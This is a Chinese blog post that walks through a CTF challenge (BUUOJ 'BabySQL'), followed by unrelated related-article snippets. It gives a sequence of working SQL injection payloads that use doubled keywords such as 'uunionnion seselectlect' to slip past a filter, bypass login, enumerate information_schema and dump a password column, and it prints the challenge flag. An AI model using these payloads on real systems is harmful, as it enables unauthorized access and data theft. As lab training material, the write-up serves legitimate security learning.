首页 > 数据库 >CTFer成长记录——CTF之Web专题·极客大挑战—BabySQL

CTFer成长记录——CTF之Web专题·极客大挑战—BabySQL

时间:2023-08-03 18:35:31浏览次数:58  
标签:Web group BabySQL E6% CTF table schema seselectlect 双写

一、题目链接

https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]BabySQL

二、解法步骤

  本题是SQL注入,那么先尝试万能密码:1' or 1=1#

  发现or后面的东西都失效了,猜测对or进行了过滤,这里用双写绕过试试:1' oorr 1=1#:

  登陆成功。接下来就是老套路,查字段数:oorrder by 3#试试

  by也过滤了,继续双写:payload:admin' oorrder bbyy 3#

  然后union select联合查询,这里union和select也被过滤,继续双写:1' uunionnion seselectlect 1,2,3#。这里用admin改成1,避免查出真的账号密码,干扰回显。

  

  可以发现回显点为2,3。接下来查版本,数据库名:1' uunionnion seselectlect 1,database(),version()#  

  

  查表名,from,where也需要双写,带有or的还要双写:1' uunionnion seselectlect 1,group_concat(table_name),version() frfromom infoorrmation_schema.tables whwhereere table_schema='geek'# 

  

  接着查表中的列名:这里and也被过滤:1' ununionion seselectlect 1,2,group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_schema='geek' anandd table_name='b4bsql'#

  

  最后查字段:1' ununionion seselectlect 1,2,group_concat(passwoorrd) frfromom geek.b4bsql#

  

  flag{c441f407-de53-45e1-8b01-9415b23f1e5a}

三、总结

  本题依然是常规的SQL联合查询,这次加了双写绕过,总体难度不大。

标签:Web,group,BabySQL,E6%,CTF,table,schema,seselectlect,双写
From: https://www.cnblogs.com/miraclewolf/p/17604142.html

相关文章

  • WebRTC研究:RTP报头扩展
    RTPHeaderRTP协议中,RTPHeader(报头)包括固定报头(FixedHeader)与报头扩展(Headerextension,可选)。RTPFixedHeader结构如下,其中前12字节是每个RTP包必须包含的。01230123456789012345678......
  • WebRTC研究:Transport-cc之RTP及RTCP
    Transport-cc指的是Transport-wideCongestionControl。WebRTC最新的拥塞控制算法(SendsideBWE)基于Transport-cc,接收端记录数据包到达时间,构造相关RTCP包,然后反馈给发送端,在发送端做带宽估计,从而进行拥塞控制。之所以基于Transport-cc,放到发送端进行带宽估计,除了方便维护,也增加了......
  • webpack5 devServer浏览器打开显示 can not get
    webpack5中通过使用webpack-dev-server插件,配置devServer来浏览器启动页面,对于单页面,我们可以直接配置打开首页,多页面,可以配置打开一个文件目录,选择各个页面的目录当我们配置好webpack后,执行npmrundev,浏览器打开经常会看到显示  cannotget,即无法匹配服务器匹配的目......
  • 2023 *CTF reverse gorev
    gorev用ida_7.7分析一直分析不出来,得用idafree_8.3分析。(是一道go语言逆向)分析流程就是读入input,然后异或 v22=encoding_base64__ptr_Encoding_EncodeToString看到这个以及后面图片的"="判断出是base64这个就是12345678901234567890123456789012经过异或再base64......
  • Web编辑器 图片粘贴上传,实现图文粘贴,图片自动上传
    ​ 图片的复制无非有两种方法,一种是图片直接上传到服务器,另外一种转换成二进制流的base64码目前限chrome浏览器使用首先以um-editor的二进制流保存为例:打开umeditor.js,找到UM.plugins['autoupload'],然后找到autoUploadHandler方法,注释掉其中的代码。加入下面的代码://判断剪......
  • web前端技能方法总结(css、js、jquery、html)(2)
    创建链接块display:block;列表样式在一个无序列表中,列表项的标志(marker)是出现在各列表项旁边的圆点。在有序列表中,标志可能是字母、数字或另外某种计数体系中的一个符号。要修改用于列表项的标志类型,可以使用属性list-style-type:ul{list-style-type:square;}1上面的声明把......
  • CS客户端内嵌WebApi
    突然一天WPF客户端紧急需要一个功能被远程控制,于是第一想法便就是客户端充当服务身份。于是便客户的后台控制想法需求便出来了。记录一下工作上简单实现。publicclassWebApiHost{staticWebApplicationwebApp=null;publicstaticvoidStartWebA......
  • 8-3|org.logicalcobwebs.proxool.default - Shutting down 'default' pool immediatel
    org.logicalcobwebs.proxool.default-Shuttingdown'default'poolimmediately[ShutdownHook]"org.logicalcobwebs.proxool.default-Shuttingdown'default'poolimmediately[ShutdownHook]"是一个程序日志的输出,特别是涉及到一个名为'default......
  • Vuejs+WebApi导出Excel
    前后端分离,前端Vuejs,后端.Net6WebApi后端代码1publicclassSalesReportController:BaseController2{3privateSerilog.ILogger_log=GetLogger<SalesReportController>();4privatereadonlyISqlSugarClient_db;5privateIHostEnvironme......
  • web渗透测试(14):文件上传漏洞
    在本节中,我们将介绍如何使用文件上载功能来获取代码。 在Web应用程序(尤其是使用文件系统来确定应运行哪些代码的应用程序)中,如果您设法上传具有正确文件名的文件(通常取决于扩展名),则可以在服务器上执行代码。在本节中,我们将看到这些类型的攻击的基础知识。 首先,由于我们正在开......